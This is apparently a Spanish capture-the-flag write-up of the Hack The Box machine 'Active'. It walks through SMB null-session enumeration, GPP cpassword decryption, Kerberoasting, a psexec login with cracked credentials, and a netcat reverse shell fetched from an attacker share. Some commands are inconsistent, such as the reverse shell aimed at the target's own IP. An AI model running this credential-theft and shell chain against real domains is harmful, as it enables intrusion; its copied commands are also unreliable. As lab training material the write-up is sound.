Active

En esta publicación, abordaremos la máquina "Active" de la plataforma Hack The Box. Iniciaremos con la enumeración de recursos compartidos a través del protocolo SMB, lo que nos permitirá obtener el archivo Groups.xml. Dentro de este archivo, encontraremos una contraseña que podremos descifrar, ya que la clave de cifrado es conocida públicamente. Finalmente, realizaremos un ataque de Kerberoasting para obtener un hash TGS de Kerberos, que podremos crackear para obtener la contraseña del usuario Administrador.

Reconocimiento

Iniciamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Windows basandonos en el TTL (Time To Live) 127.

Enumeración

Enumeración de versión y servicio

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

nmap -sS -sCV -p- --open --min-rate 5000 10.10.10.100 -n -Pn -oN targeted -vvv

Antes de comenzar a enumerar, ingresamos en nuestro archivo /etc/hosts la siguiente linea para que cuando hagmos referencia active.htb resuelva a la IP 10.10.10.100.

echo '10.10.10.100 active.htb' >> /etc/hosts

Enumeración de recursos compartidos

Comenzamos enumerando recursos compartidos através del protocolo SMB utilizando una Null Session.

Podemos observar, que tenemos permisos de lectura al recurso compartido Replication.

nxc smb 10.10.10.100 -u '' -p '' --shares

También podemos enumerar utilizando otras herramientas como smbmap.

smbmap -u '' -p '' -H 10.10.10.100

Enumeramos de forma recursiva el recurso Replication.

smbmap -u '' -p '' -H 10.10.10.100 -r 'Replication'

Observamos que dentro existe un directorio llamado active.htb.

Continuamos enumerando y nos encontramos con tres subdirectorios.

smbmap -u '' -p '' -H 10.10.10.100 -r 'Replication/active.htb'

Si seguimos enumerando, nos encontramos con un archivo llamdo Groups.xml.

smbmap -u '' -p '' -H 10.10.10.100 -r 'Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/'

Descargamos este archivo a nuestra máquina utilizando sqlmap.

smbmap -u '' -p '' -H 10.10.10.100 --download 'Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml'

Renombramos el archivo a Groups.xml para mayor facilidad.

mv 10.10.10.100-Replication_active.htb_Policies_\{31B2F340-016D-11D2-945F-00C04FB984F9\}_MACHINE_Preferences_Groups_Groups.xml Groups.xml

Explotación

Archivo Groups.xml de Active Directory

El archivo Groups.xml es parte de la política de preferencias de grupo (GPP) en Active Directory. Este archivo se utiliza para configurar y administrar los grupos locales en los equipos dentro de un dominio de Active Directory. Las políticas de preferencias de grupo permiten a los administradores establecer configuraciones y preferencias de manera centralizada que se aplican a los usuarios y equipos.

Dentro de Groups.xml, se pueden especificar acciones como crear, modificar o eliminar cuentas de usuarios locales y grupos en los equipos del dominio. El archivo está ubicado generalmente en la ruta:

\\<domain>\SYSVOL\<domain>\Policies\{<GUID>}\Machine\Preferences\Groups\Groups.xml

Este archivo contiene la configuración específica para los grupos, incluyendo nombres de usuarios, grupos, contraseñas y otros parámetros.

Campo cpassword

El campo cpassword dentro del archivo Groups.xml contiene la contraseña encriptada para las cuentas de usuario configuradas a través de las preferencias de grupo. La encriptación utilizada para este campo es bastante débil y utiliza una clave estática conocida. La contraseña se encripta usando AES-256, pero la clave de cifrado está embebida en las herramientas de administración de GPP y es conocida públicamente.

Para crackear el cpassword, podemos utilizar la herramienta gpp-decrypt.

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

Validamos las credenciales contra el dominio utilizandonetexec.

Kerberoasting

Ahora que tenemos credenciales validas del dominio, podemos intentar realizar un ataque de Kerberoasting. Además, si miramos el nombre del usuario vemos que el sufijo del mismo nos da a entender que este puede solicitar TGS (Ticket Granting Service) de Kerberos, para lo cual podemos hacer lo siguiente utilizando la herramienta impacket-GetUserSPNs:

impacket-GetUserSPNs active.htb/svc_tgs:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request -outputfile krb.txt

Ahora, podemos hacer uso de john o hashcat para crackear el hash y obtener la contraseña en texto claro.

john krb_tgs.txt --wordlist=/usr/share/wordlists/rockyou.txt

Validamos las credenciales contra el dominio.

Genial, nos indica que son validas y además Pwn3d!, lo cual nos permite conectarnos a la máquina usando psexec.

Nos conectamos a la máquina víctima.

impacket-psexec Administrator:Ticketmaster1968@10.10.10.100

Para tener una consola más interactiva, nos compartimos el binario de nc.exe con un recurso compartido desde nuestra máquina utilizando impacket-smbserver:

Creamos un recurso compartido

impacket-smbserver -smb2support sharedFolder .

Decargamos el binario de netcat.

copy \\10.10.14.3\sharedFolder\nc.exe .

Nos ponemos en escucha con netcat por el puerto 443.

rlwrap nc -lnvp 443

Enviamos la reverse shell

nc.exe -e cmd 10.10.10.100 -443

Ganamos acceso al sistema.

De esta forma, ya podemos leer las flags de user.txt y root.txt.

Concluimos la resolución de una nueva máquina.

Espero que hayas disfrutado del contenido y que los conceptos hayan quedado claros.

¡Gracias por leer!

Happy Hacking!

Última actualización